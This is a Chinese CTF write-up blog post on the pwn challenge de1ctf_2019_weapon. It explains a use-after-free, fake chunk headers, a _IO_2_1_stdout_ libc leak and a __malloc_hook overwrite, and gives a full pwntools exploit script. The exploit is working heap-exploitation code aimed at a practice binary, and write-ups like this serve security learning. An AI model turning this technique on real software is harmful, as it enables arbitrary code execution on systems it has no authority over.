涨知识的一个pwn题:de1ctf_2019_weapon

没做出来,wtcl,看了师傅们的wp才找到思路,收获了很多

 

怎么说呢,这个题很简单但是很巧妙,逆起来几乎无难度

 

技术图片

技术图片

 

漏洞点位于free函数,一个简单的UAF漏洞

技术图片

 

然后接下来说说我一开始的思路

由于程序没有提供show函数,所以几乎可以确定要打_IO_2_1_stdout_,改掉flag然后泄漏libc

但是add函数里面只能申请小于0x60的chunk,根本找不到残留的unsorted bin留下的指针

然后,然后我就找不到思路了

 

然后学习了一波师傅们的wp

其实这个除了UAF还有一个小漏洞,就是可以自己申请index,可以申请0-9号的任意index

这就为我们伪造unsorted bin留下了条件

 

思路,要想拿到unsorted bin的指针,首先我们需要一个0x60的fastbin,然后在相同的位置需要一个unsorted bin,这样fastbin的fd pointer就留下了unsorted bin的fd pointer,就可以攻击_IO_2_1_stdout_了

然后就是常规的hack __malloc_hook

 

仔细记录一下中间过程

先来伪造一个header,目的:可以改下一个chunk的控制信息

 1 add(0x10,0,aaaaaaaa)
 2 add(0x10,1,bbbbbbbb)
 3 add(0x60,2,cccccccc)
 4 add(0x10,3,dddddddd)
 5         
 6 free(0)
 7 free(1)
 8 free(0)
 9         
10 add(0x10,0,p64(0) + p64(0x21))
11 add(0x60,8,eeeeeeee)
12         
13 edit(1,x10)

技术图片

 

这样我们可以申请到010的位置,从而可以对020这个chunk的header 进行修改,可以先改成0x71,然后free一下,然后再改成一个unsorten bin大小的chunk,再free,这样就有了残留的堆指针

 

1 add(0x10,1,aaaaaaaa)    
2 add(0x10,4,p64(0) + p64(0x71))
3 edit(2,0x40 * a + p64(0) + p64(0x71))    # bypass free check: the next chunk size cannot equal to 0
4 free(1)

技术图片

 

编辑2号chunk的目的是绕过free时的检查

 

接下来fast bin拿到unsorted bin的fd指针

1 edit(4,p64(0) + p64(0x91))    # to change the chunk size
2 free(1)    # now , fast fd has connected unsorted bin fd

技术图片

 

技术图片

 

然后就是常规思路了

申请到‘xddx*5‘的位置,‘*‘需要爆破,1/16的概率,直接扔个try except

 

技术图片

 

技术图片

 

 

1 edit(1,xddx65)
2 edit(4,p64(0) + p64(0x71))    # don‘t forget to renew size
3 payload = 3 * a + p64(0) * 6 + p64(0xfbad1800)    # change flags
4 payload += p64(0) * 3 + x00 # make _IO_write_base smaller
5 add(0x60,5,lemon)
6 add(0x60,6,payload

技术图片

 

成功泄漏libc,后面就是常规的__malloc_hook - 0x23

 

 1 libc = ELF(./libc-2.23.so)
 2 _IO_2_1_stderr_ = u64(p.recvuntil(x7f)[-6:].ljust(8,x00)) - 192
 3 libc_base = _IO_2_1_stderr_ - libc.sym[_IO_2_1_stderr_]
 4 __malloc_hook = libc_base + libc.sym[__malloc_hook]
 5 one_gadget_list = [0x45216,0x4526a,0xf02a4,0xf1147]
 6 one_gadget = libc_base + one_gadget_list[3]
 7 print "[*] one_gadget:",hex(one_gadget)
 8 add(0x60,5,lemon)
 9 free(5)
10 payload = 0x13 * a + p64(one_gadget)
11 edit(5,p64(__malloc_hook - 0x23))
12 add(0x60,5,x10)
13 add(0x60,0,payload)
14 add(0x20,3,hack)
15 gdb.attach(p)
16 p.interactive()

 

完整exp:

  1 from pwn import *
  2 
  3 ‘‘‘
  4 author: lemon
  5 date: 2020-10-16
  6 libc version: libc-2.23.so
  7 ‘‘‘
  8 
  9 local = 1
 10 
 11 binary = "./de1ctf_2019_weapon"
 12 
 13 
 14 def dbg():
 15     context.log_level = debug
 16 
 17 context.terminal = [tmux,splitw,-h]
 18 
 19 
 20 def add(size,index,content):
 21     p.sendlineafter(choice >> ,1)
 22     p.sendlineafter(wlecome input your size of weapon: ,str(size))
 23     p.sendlineafter(input index:,str(index))
 24     p.sendafter(input your name:,content)
 25 
 26 def free(index):
 27     p.sendlineafter(choice >> ,2)
 28     p.sendlineafter(input idx :,str(index))
 29 
 30 def edit(index,content):
 31     p.sendlineafter(choice >>,3)
 32     p.sendlineafter(input idx:,str(index))
 33     p.sendafter(new content:,content)
 34 
 35 while True:
 36     try:
 37         if local == 1:
 38             p = process(binary)
 39         else:
 40             p = remote("node3.buuoj.cn",26759)
 41         add(0x10,0,aaaaaaaa)
 42         add(0x10,1,bbbbbbbb)
 43         add(0x60,2,cccccccc)
 44         add(0x10,3,dddddddd)
 45         
 46         free(0)
 47         free(1)
 48         free(0)
 49         
 50         add(0x10,0,p64(0) + p64(0x21))
 51         add(0x60,8,eeeeeeee)
 52         
 53         edit(1,x10)
 54         
 55         add(0x10,1,aaaaaaaa)    
 56         add(0x10,4,p64(0) + p64(0x71))
 57         
 58         edit(2,0x40 * a + p64(0) + p64(0x71))    # bypass free check: the next chunk size cannot equal to 0
 59         
 60         free(1)
 61         
 62         edit(4,p64(0) + p64(0x91))    # to change the chunk size
 63         free(1)    # now , fast fd has connected unsorted bin fd
 64 
 65         edit(1,xddx65)
 66         edit(4,p64(0) + p64(0x71))    # don‘t forget to renew size
 67         
 68         payload = 3 * a + p64(0) * 6 + p64(0xfbad1800)    # change flags
 69         payload += p64(0) * 3 + x00 # make _IO_write_base smaller
 70         
 71         add(0x60,5,lemon)
 72         add(0x60,6,payload)
 73     
 74         
 75         libc = ELF(./libc-2.23.so)
 76         _IO_2_1_stderr_ = u64(p.recvuntil(x7f)[-6:].ljust(8,x00)) - 192
 77         libc_base = _IO_2_1_stderr_ - libc.sym[_IO_2_1_stderr_]
 78         
 79         __malloc_hook = libc_base + libc.sym[__malloc_hook]
 80         
 81         one_gadget_list = [0x45216,0x4526a,0xf02a4,0xf1147]
 82         one_gadget = libc_base + one_gadget_list[3]
 83         print "[*] one_gadget:",hex(one_gadget)
 84 
 85         add(0x60,5,lemon)
 86         free(5)
 87 
 88         payload = 0x13 * a + p64(one_gadget)
 89 
 90         edit(5,p64(__malloc_hook - 0x23))
 91         add(0x60,5,x10)
 92         add(0x60,0,payload)
 93 
 94         add(0x20,3,hack)
 95 
 96         gdb.attach(p)
 97         p.interactive()
 98         break
 99     
100     except Exception as e:
101         print(e)
102         p.close()
103         continue

 

技术图片

 

涨知识的一个pwn题:de1ctf_2019_weapon

原文地址:https://www.cnblogs.com/lemon629/p/13829161.html